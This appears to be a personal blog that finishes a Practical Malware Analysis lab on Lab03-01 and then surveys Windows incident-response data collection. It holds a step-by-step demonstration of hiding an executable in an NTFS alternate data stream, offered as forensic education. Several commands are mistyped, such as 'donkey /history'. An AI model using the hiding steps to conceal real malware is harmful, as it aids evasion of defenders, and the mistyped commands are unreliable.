Another persistent mechanism that malware chooses to enforce, that will also leave a host based signature on a system, are the uses of "mutexes", also known as mutants, for mutual exclusion. Mutexes are used to prevent any two threads accessing the same "critical region", (the same resource) of any variable in a programs code. So if a thread has accessed a resource that is offered in code, it creates at the same time, a mutex object (like the 'CreateMutex' function), to prevent any other thread conflicting with its access time, creating a race condition. This is one of the many 'locking mechanism' an operating system enforces in its coding development.

So why would a piece of malware want to enforce this form of secure coding? Well because it prevents itself from reinfecting certain areas of the Operating System. Once it has infected one spot, a mutex lets the malware know, it has already created a lock here, and won't crash or create a bug in its execution.

The mutex found in this malicious program was called WinVMX32, which can only be discovered via a dynamic analysis, with Process Explorer. (I don't want to get into it know, but a mutex can act as a digital fingerprint that is created by the malware, working against its attempts at staying hidden). Process Explorer will show you the running Lab03-01.exe, and when you click on the lab.exe
, and then click view handles in lower pane, it will show you all the handles this lab program has created, as seen below:

3. Are there any useful network-based signatures for this malware? If so, what are they?

Well aside from the strings listing a URL to www.practicalmalwareanalysis.com, we can use process explorer to see if it called any networking .dll libraries. In ProcEx, click on the view dll tab, and search within the list of .dll's, lab03-01.exe has used:

As you can see in the red box, lab03-01.exe uses ws2_32.dll, and WSHTCPIP.DLL, which are both used for applications to acquire network functionalities.

Disclaimer******

Inetsim is great for logging the network activity of a malicious program that is attempting to make connections with urls, and/or requests for certain domains. I was following along with Mr. Bownes instructions, and assigned Inetsim's service_bind_address to 0.0.0.0, and the dns_default_ip address to the IP of what my Linux machine is. I would then go on my infected host, and configure its DNS requests be sent to my Kali stations IP. I also chose the "obtain an IP address manually" on my infected host.

(Service _ bind _ address tells InetSim which IP address its services should connect to and dns _ default _ ip is the default IP address returned by the InetSim DNS resolver.)

Mr. Bowne set the server bind address to 0.0.0.0, because 0.0.0.0 means "all IPv4 addresses on the local machine", will be addressable. For whatever reason, i was getting a invalid ssl_version specified at /usr/share/perl5/io/socket/ssl.pm. I'm sure the way Mr. Bowne had his networking configurations set up, he was able to get it to run.

I was not able to get a complete handshake between the malware and Inetsim. I'd get an error like below, and an incomplete log record of the network connections made by my malware, in my Inetsim report:

when server_bind_address was 0.0.0.0

It does not show a successful request to www.practicalmalwareanalysis.com

Just to be clear, this was the setup that resulted in the error:

**The IPs used in this post were created on throwaway systems.

Kali Linux = Service_bind_address = 0.0.0.0. Dns_default_ip =  172.16.233.169

WS2008 = Use the following DNS server address = 172.16.233.169. "Obtain an IP address automatically".




Wireshark did however log the outgoing call and port number that was made by the malware to PMA's website, but there was no return, and subsequently no completed handshake:


















Here is the beacon call made by the malicious program vmx, that lets it C&C know it has infected the system.

I even tried setting up Inetsim differently, to see if anything would change. I assigned the server bind address the IP of what my Kali host IP was, and set the default dns IP to the same IP, and on my target i pointed the DNS requests to the IP of my Kali host, and this time, assigned IP address information, as seen below:

And still nothing.

This blog post is a bit disheveled, mainly because when you're trying to work with tools solo, you really don't have much guidance, other than google. All in all, the tools provided a good about of dynamic information, i just couldn't get a handshake with Inetsim, so the logging reports were off. I'm sure i'm mistakenly leaving a step out form the instructions Mr.Bowne has listed, so that is why i'm getting this error. Who knows. Sometimes you win, and then sometimes you don't.

Malware Incident Response pt. 2. (Collecting Volatile and Non-Volatile data)

Introduction 

During a live incident response, you have two subsets of data to collect from. There is volatile & nonvolatile. Volatile data is any data that requires a power source to maintain its existence. So in other words, we are talking about data that exists on a computer that is in a running state, that won't exist, in its entirety, if the computer is turned off. Volatile data exists primarily within the memory of a computer. As we all know, RAM will not maintain its contents, if the system has been powered down. Memory is truly a treasure trove of information. When you want to know what programs have been run in the past or is currently running, any connections that have been made either locally or remotely, IP addresses, passwords, bypassing encryption, log entries, etc. This information isn't available to you simply because the computer is in a "running state". There's more to it than that. When performing a live acquisition, you can image a hard drive while the system and all its processes are running, but it doesn't provide the same type of data. Data you get in a hard drive is an important aspect of nonvolatile forensics, but the technology of Memory is so powerful, there are artifacts left in there that are a must have. For example: In order for obfuscated malware to run, or any encrypted program for that matter to run, the malware must first decrypt itself when running inside memory. Unless some malware author statically built all the the necessary binaries inside of the program, (unlikely), it's going to need to decrypt itself in order to run and reach out to the functions in the Windows API, via those friendly dll's. Even when a clever rootkit is able to hide it's presence from a users shell, a memory dump will reveal all the steps the rootkit was taking. To point out, malware in general  attempt anti-forensics by running all of its code within RAM, and not touching the hard drive. Malware authors know, they need to obfuscate any artifacts it may leave on a drive, or just all together not touch the drive completely.

Volatile data: Network connections are a good example of volatile data. Once you shut down the computer, all the information that is in memory that discloses what ports are opened will be lost.

Non-Volatile data: You acquire non-volatile data during a live response, just like you would when acquiring an image of volatile data from memory. You can image the hard drive or memory in a virtual environment, or while booted into the infected users account. An image of the hard drive is an example of non-volatile data, but, if you wanted to acquire non-volatile data that is forensically important, without imaging the entire drive, you would choose to selectively capture things in a running state, such as host files, prefetch files, autoruns, event logs, the registry, etc.. There are tools that are designed to specifically extract this type of data. This information as you can see, is very limited, and is only performed when imaging the drive isn't really necessary. Similarly with memory acquisitions, if a full memory capture isn't necessary, then you can before a runtime interrogation, that scans through memory for any "malicious" indicators.

All volatile artifacts found on a system, are not all created equally. Some artifacts have a shorter life expectancy than others. There is an "order of volatility", which is a helpful guideline to follow when prioritizing the different types of data an investigator should analyze first. So, if a responder were to arrive to an incident, here is the order of prioritizing ones steps, when performing a live collection of volatile data WITH an incident responders toolkit, a.k.a, a live cd, on a Windows 7 machine:

Volatile Data collection

1. Boot up into your live cd and run a trusted shell. (Ex: Helix, SIFT, or anything running Sysinternals.)
2. Check the systems date and time, by running the command "echo %DATE% %TIME%", inside the trusted command shell, and compare with an external time. If the time is off, that means someone tampered with the CMOS. So you want to check and make sure this is accurate, so later on when you perform a timeline analysis, you can attest to it's accuracy. But, if and when you're concerned about time stomping, you will further your investigation by checking event logs and checking the "sequence values" of .lnk files, during a dead analysis. 
3. Acquire the contents of memory. (This is a tricky thing to consider. Since in this scenario we are running a live cd, as we know, live cd's run entirely inside RAM, to maintain the pristine state of the drive, while at the same time, overwriting data in RAM. If you choose to use a live cd, you will have a large toolset at your disposal for collecting other volatile data on the running system, at the expense of the memory. You maybe could find a toolkit with a smaller footprint, or you could run a tool from a usb drive. While booted into the infected account, you would plug the usb drive into the system, run something like a bat file, and do an acquisition of RAM, and nothing else. For example, something like Memoryze can run its executables without installing itself on the infected users drive.)
4. Gather hostname, user, and OS details with commands: There's the "hostname" command and the "whoami" command. For system info (Win7), there is systeminfo | findstr /B /C:"OS Name" /C:"OS Version"command. 
5. Identify users logged onto the system. CLI tool from Sysinternals, Psloggedon. The native command, "net users", will also show you a list of logged on users.
6. Inspect network connections, open ports such as TCP and UDP ports, recent DNS queries, inspect NetBios name table, ARP cache and the internal routing table, and if possible, monitor remotely with wireshark or NetworkMiner: Commands include, a native "Netstat -ano", or Sysinternals 'TCPView'. Sysinternals is truly a must have in any Windows toolkit. To display DNS resolution =  "ipconfig /displaydns". Netbios = 'nbtstat -c', then the 'net' command to see what files recently traveled a netbios connection. MAC to IP cache that will show you previously connected systems = 'arp -a'. 
7. Examine running processes: A native tool = 'tasklist', or a native 'get-process' in powershell. The best third party tool is 'Process Explorer' via Sysinternals.
8. Correlate open ports to associated processes and programs: This phase of analysis assumes you have found a few programs that seem suspicious, then you sure up 'netstat -ano' once again, which will tell you what ports the malicious program is using. A third party tool called 'openports' will give same information as netstat, while also showing what path the program belongs to. The third party tool that provides the most info about a program and its port is the 'CurrPorts' from Nirsoft. 
9. Examine services and drivers: To view services, run native tool 'tasklist /svc', or a third part from Sysinternals 'psservice'. When wanting to list drivers, use the native command 'driverquery', or a third party from nirsoft = 'DriverView'.
10. Determining open files: When a malicious programing is successfully executed on a suspects system, seeing what files the program has opened may lead clues as to the programs intentions. You will have to use a third party tool for this examination = 'OpenFilesView' & 'Open Save Files View', which are both great programs from Nirsoft. It accesses two registry keys (OpenSavePidlMRU and OpenSaveMRU) which allow it to display a comprehensive list of all the files that you have opened with Windows.
11. Collect the command history: With a unix based OS, a system that uses bash in its shell will maintain a log on the system, that recorded all the commands that were typed into the system, even after the shell has been closed. Windows however, does not have logging like this enabled.Once a cmd prompt is closed, all the commands that were typed in it, is lost. If you do happen upon a computer with an open cmd, type 'donkey /history', and it will list to you all the commands typed in that session. 
12. Identifying Mapped drives & Shares: malicious code does not always have functionality to propagate through network shares, some specimens, such as the polymorphic file infector named W32/Bacalid,51 identify and affect shares on an infected system. (Malware Forensics, 2008). The native 'net' utility comes in handy once again, for identifying network shares on a system = 'net share' The native net utility is used to identify and configure any logged on users, file sharing, or to view any active network connection between users, etc.. Otherwise, use the installed psloggedon from sys internals. Again, sys internals is really your best option for an incident response, and all of the categories of volatile data are covered by their toolkit, even though i'm not losing them each time.
13. Determining Scheduled Tasks: First run the native 'at' command to see if there are any currently scheduled tasks, then run 'schtasks', and you will see a more comprehensive list of default tasks, such as normal system backup, system restore points, but nothing out of the ordinary. schtasks and net commands work both ways, they not only show you system information, but you can also use them to set up new users to a system with the 'net user' command, or schedule tasks with 'schtasks /create'.
14. Collecting clipboard contents: 'insideclipboard' by Nirsoft. Even if a remote user is logged into a system, a copy and past will render its contents into a space in memory on the system the user is logged into. 

This list of tools is by no means an extensive list. These are the bare essentials. I listed them within particular areas of volatility, simply as an introduction This list doesn't even include the scripting powers of powershell, nor the fantastic perl scripts that work great for incident response, made available by Harlan Carvy and his Perl Scripting book/books. I'm also just giving a brief overview because i'm planning on putting these tools into action in future posts.  

Non-Volatile Data Collection (if a full drive image is not feasible):

1. Identify System Security Configurations: collect the patch level information with 'Winupdatelist', logging settings (security logging) with 'auditpol', and access control lists with 'dumps'. You can also try 'Microsoft Baseline Security Analyzer'.
2. Identify Trusted Host Relationships: Most computers, when wanting to connect to the internet, will use a DNS server, and save a DNS cache local to the system. The purpose of a DNS server, is to pair a website (hostname), to an IP address, for faster easier connections. Otherwise, you would have to type the IP of an address to visit it, instead of simply typing www.google.com. Other than websites, each computer system has a hostname that is paired with your IP address, and if you have file sharing turned on, it is open for remote connections. Each computer has what is call a 'hosts file'. On a Windows 7 machine, it is located at %windir%\system32\drivers\etc\. Since most computers these days rely on DNS connections, this host file is rarely change, and/or rarely relied upon by the computer. But, every now and again, malware can target this file, for redirecting traffic, or to simply block certain websites that an AV or systems update will rely upon. There will be a text file at that paths location that you will want to copy to any external storage. 
3. Inspect prefetch files: The Windows OS creates a prefetch file whenever an application is run for the first time, and is located at the '%SystemRoot%\prefetch' directory, appended with the extension “.pf.” So if an application has been run on the system, it creates a file that is paired with that app, and saves code in its directory, to help the application load faster the next time you want to run it. So if a malicious app was recently run, a .pf file would be listed in that directory. But say if an attacker used the systems already installed netcat program, which was installed 10 months ago? That information wouldn't tell me much. But the .pf also contains some beautiful meta data. So there isn't just a time stamp that tells us when it was first installed, no, there is also metadata that tell us when it was last run. The prefetch file itself contains a 64-bit time stamp indicating when it was last run, as well as a count of how many times the application has been run. (Digital Forensics with Open Source tools. 2011). If you want to know the offsets to these identifiers, it's mentioned in the book. To list the prefetch directory, run the commands you see in the figure below:

4. Inspect Auto-Start locations: When a system boots, there are programs configured to start automatically when the system runs, and these settings are maintained with the systems Registry. You can use 'autoruns', from sysinternals, or utilize WMI by running, 'wmic startup get caption, command'. But of course, Sysinternals will provide you with a lot more information. 

5. Collect Event Logs (Windows Event Logs): Application Logs, Systems Logs, and Security Event Logs, are turned on by default in Win7. There are many other types of logs that exist in Windows 7, but these are the ones worth pointing out now for the time being. There is a built in utility that allows you to view these logs called the "Event Viewer", (type 'eventvwr' into the command prompt). Depending on how active you are on your system, there usually is a ton of event records in these files. The security even log is one that will tell you the login attempts that were made against your system or network. There is another utility in Windows 7 professional (not basic editions) that allows you to configure what you want recorded to these event logs, and that utility is call the 'Local Security Policy Editor'. It is here where you can enable The Security Event Log to record all of the login attempts to your network, and or any access to any resource or file shares that have been enabled. The Application log provides records that list any errors or crashes that occur in an application (troubleshooting purposes). The System log records errors that relate to the system. If you're interested in Anti-Virus logs, you can look under the 'Applications & Services Logs', shown in the figure below. I don't have an AV installed on my VM, but i know that is where it would be located.

Event logs work best when applied to creating a TimeLine. So, in the event of responding to an incident, in order to collect these details, it is best to use the 'PsLogList', from sysinternals. Books are mentioning 'eldump', but i like sysinternals. No offense Denmark. Use 'Net view" to list all members of a given workgroup. To display information about group policies applied to the users account type 'gpresult /Scope User /v'. 'Net user' lists all the accounts assigned to the local system.

6. Finding hidden files: The main priority of a Rootkit is to hide its files and processes, while evading detection. They want to trojan in files and programs, then make sure they stay well and hidden. A good tool that can reveal that a rootkit has hidden some files is the 'Mcafee Rootkit Detective'. Certain files and directories are normally hidden for your protection, and to display them, open explorer, click the organize button in the top left, click folder and search options, click the view tab, then select 'show hidden files, folders, and drives'.

This of course will not show you any files hidden by a Rootkit, and trying to discover if a rootkit is installed on a system, and/or try to  identify rootkit activities is very difficult to do without a third party tool. The closest you can get to a manual inspection involves a static analysis of a memory dump, or a dynamic analysis of the functions and api calls, depending on your available resources. Rootkits will hide processes, services, handles, threads, registry keys, and network connections, especially installed packet sniffers that have been put in promiscuous mode. Rootkits will also alter function calls, implement API hooking and dll injections. A rootkit issue, is a kernel deep compromise. Rootkits are a remarkably complex piece of malicious code. Their abilities are very fascinating, and very technical, so i suggest picking up "The Rootkit Arsenal", by Bill Blunden.

Aside from hiding techniques enforced by rootkits, there are many other places where malware can and will hide. The three main hiding techniques that come to mind are Alternate Data streams, Steganography, and/or hiding in a File Systems Slack Space. ADS's is a feature for NTFS filesystems, and allows files and registry keys to be hidden. More specifically, ADS's allow you to hide either data, scripts, malware, or executable code inside the $DATA attribute of a file. Not the default $DATA attribute that all files have, but when a file creates a second $DATA attribute for itself, that second $DATA attribute is essentially the alternate data stream. The reason why windows created this technology was so that Windows could be compatible with HFS+. Not only for compatibility purposes, Windows applications will use an ADS in order to to provide a summary of details about the file, or provide an image thumbnail preview. To create an ADS, in the 'Run" utility, type cmd to start it up. Change your director to your documents, then type 'echo "Hello There" > file.txt:foo'. The ':' operator tells the OS to append an ADS to a new file called 'file' will be listed in your documents, but when you open it, thee will be nothing inside of it. 'foo' is just the name we are deciding to give the stream. It could be anything you want to name it, ex: 'secret' instead of 'foo'. But whatever you list there after the colon, will be what is viewable if and when you run an executable from an ADS.
See below:








































Notepad is empty. But if you type 'dir /r', you will see that there are two files existing in the directory.



















If you want to put an executable inside of an ADS, you will have to use the 'type' command. So lets put solitaire.lnk inside of test.txt:secret.exe (this is our alternate data stream that we will be creating). Since solitaire.lnk is already installed on Win7 by default, its path location is 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games', so we have to 'cd' to this directory in order to put solitaire.lnk into our ADS.

Oops, in order to run the 'type' command, you need to run as admin. So right click cmd, run as admin, then type the commands that are listed below in order to get into your user directory:













Now we need to 'cd' to the directory where solitaire.lnk is located by typing 'cd C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games'. Once inside that directory, now we can add our executable into our ADS that we will name test.txt:secret.exe, by typing the following command: 'type solitaire.lnk > text:secret.exe', then press enter. Now solitaire.lnk will have been placed inside the test.txt:secret.exe file.
Lets run both 'dir' and 'dir /r', and you will see our newly created ADS:

That solitaire.lnk could have just as easily be a malicious executable, where an attacker placed his malware. Just imagine the 'secret.exe is a malicious file. So if we were move the test.txt with the solitaire.lnk executable inside of it, say, to our desktop, we should be able to run solitaire from there. To move this file, make sure you're in the same directory as before, and type 'move test.txt c:\Users\Aaron\Desktop', press enter, and you will see our file moved the the desktop. Then change your directory to your desktop to run the executable file. 

(*** Update: well up until this point, i am unable to get the solitaire.lnk executable to run. I've tried the command 'start test.txt:secret.exe:$DATA', and it says unable to find an executable. Come to find out, you cannot run an .exe from inside an ADS unless you create a symbolic link between solitaire.lnk and test.txt:secret.exe by typing the command 'mklink solitaire.lnk test.txt:secret.exe'. I don't know if this will work. Maybe in the future i will test it out. But for now, i really have to continue moving forward.

I've kind of veered off track here a little. So recap. To find alternate data streams with a 3rd party tool, i suggest 'Streams', from sysinterals, or try 'lads.exe', from heysoft. Since i brought up rootkits, if you want to try and see if one is installed, you will need to run from a trusted shell, since rootktis will alter any tools that you try and run from the suspects operating system. Not all third party tools will uncover a hidden rootkit. For example, the famous Hackdefender rootkit couldn't be displayed in a Helix live cd, but could be uncovered with Prodiscover, but then again, there were certain hidden processes and network connections that Prodiscover you couldn't discover. To find a rootkit, it is more efficient to use more than one tool designed to locate hidden rootkits, on an infected system. 

Since rootkits can prevent certain function calls from the windows api, or cause a redirection, it would be a good idea to analyze a system at the file system level, and by that i mean all the way down to its actual data structures. Say for example you are running a forensic tool during a live analysis, and you want to do a top down scan of the entire system, a rootkit can prevent the 'findnextfile' function call for a specific file, leaving it completely hidden. So if you manually analyze the file system itself, you are not relying on any API calls :). Functions operate on these 'streams", and rootkits like to hook them to hide. So, if you were to analyze the Master File Stable, the great overseer and record keeper of every file in the file system, you will be able to parse the MFT and find any record of an ADS. (I haven't really been clear in my delivery so far. ADS's are a hiding technique that rootkits will employ, in order to stay hidden.) And parsing the matter file table is a good way to look for alternate data streams that may be injected with extra code to hide itself from a dir /s, or a forensic tool. 

The Sleuth Kit is a great tool for parsing the master file table. You can use TSK for this type analysis on either a live running system, or on an imaged copy in a postmortem investigation. I'll list the master file table and its contents on a live system, to save the time it would need to take to image the drive. You can run WinFE, (which contains the TSK toolkit), from within a USB drive, but it will load dependencies, (DLLs). I would give a step by step, but i will give example runs for all of these tools in the future. You will first have to install Cygwin, and run the TSK commands from a C:\Cygwin root.

As far as slack space is concerned, it's a little more tricky, simply because there is a large amount of it in a file system. You get slack space on a drive, when a file doesn't fill all the clusters it was assigned to. You get RAM slack, which is random data from a memory buffer, that is added to a file to pad empty spaces, which could contain artifacts from previous moments in memory., but i think in later versions of windows, it's now just a bunch of padded 0's). This padding only happens to the last sector of a drive. Drive slack is when a files slack space is filled with the unallocated drive data that used to exist there before it was deleted. Since RAM slack is so small, it is usually preferable to hide malicious files inside of the Drive Slack. It's relatively simple to carve unallocated space on a drive, but sadly slack space isn't included in unallocated space, because it is actually space that is allocated to a file. I'm not sure what methods there are to analyze ALL of the slack space that exists inside of a file system, the only way i can even this of how to analyze slack space of a single file is with TSK's 'icat', by dividing the size of the file by its implemented data unit size. 'icat with the /s and /r switch' will give you the contents of a files slack space, with any possibly deleted data'. Most people say they love Volatility, mainly because you're able to construct your own tools, but in my opinion, i love TSK. 

Another very important piece of non-volatile data that is vital to an investigation, are the MAC timestamps that each file maintains as its metadata. If the infection period if known, you could use a tool like 'macmatch.exe', to extract all the metadata from all of the files that were created or modified during that time period, and output to a text file. Or use log2timeline, create a body file, and analyze with TSK or view in a spreadsheet. 

7. Dumping and Parsing the Registry Contents: It's interesting how the "Malware Forensics, Field Guide For Windows Systems" book has listed registry dumps under the non-volatile data collection process. Just to be clear, there are certain registry paths that are volatile, while other parts of the registry are non-volatile. For example, the HKEY_CURRENT_USER & HKLM\HARDWARE are volatile hives, along with many other keys and hives that only exist in memory. As far as non-volatile registry artifacts, there are Volatility plugins that Extract SYSTEM and SOFTWARE hives from disk, and not from memory. I don't know off the top of my head which keys and hives are volatile or non-volatile. I know registry Hive files are maintained on disk, but this is not a complete form of the registry. A complete form only exists once the registry is loaded into memory. So there is a lot of information about the registry that doesn't exist as "non-volatile". I am not nearly educated enough to have a solid recollection of the windows registry. The registry is a very very vast catacomb of information. I am not even going to attempt a brief introduction into the registry in the context of volatile/non-volatile data collections. Yes you can use 'regripper.exe' or sysinternals 'dumpreg', but like i said, the registry is a reserved topic all by itself, that i will attempt sometime in the future. 

8. Examine Web Browsing Activities: Finally, there's the non-volatile data i'm sure even non-forensically inclined individuals all know about, and that is a browsers history, cache, and cookies. All are located either on disk in a Temp folder, sqlite file, in a pretty little non-volatile index.dat file, or located in some registry key location (like types URLs). There could be a fun quick discussion to be had about browser forensics, but sadly, it's late, and i need to wrap this post up. Tools you can use during a live incident response, you can use 'web historian', or you can use the many browser utilities that are available from nirsoft, ex: IEcacheViewer, IEhistoryview. 

P.S. My apologies for the bad organization of my blog posts. There are a lot of topics in forensics, and once i start writing these, i tend to try and cram as much as i can. As i said before, this post is just an introduction into the different types of forensic tools and the areas in which they are applied. These are simply the most basic types of tools an incident responder can use. There are toolkits out there that do the job a lot more efficiently. I will apply many of the tools i've just mentioned in future blog posts that i will be making shortly. As soon as i can find an executable malicious binary to run in a VM, i'll be able to test these out. I know contagio has a bunch of samples, and so does malwaremustdie. But a lot of those samples are obscure and more technical. I am hoping to find a very basic general sample of malware. I tried creating a post last week discussing as a tutorial, how to create a honeypot with honeyd and nepenthes. I would strongly suggest finding another type of honeypot to attempt a tutorial with. Those tools are very outdated, and i simply could not get them to run. I had to scratch a weeks worth of notes. I was interested to create a honeypot on an actual physical system with honeyd, but simply could not get it running. I was surprised because I was using the "Malware Analyst's cookbook", and "Applied network security monitoring", and my guides. The first book is about 5 years old, but the ladder is only 3 years old, so i'm not exactly sure why they are presenting exercises with tools that are too old to work. Oh well. Will have to find malware samples the other way. Cheers.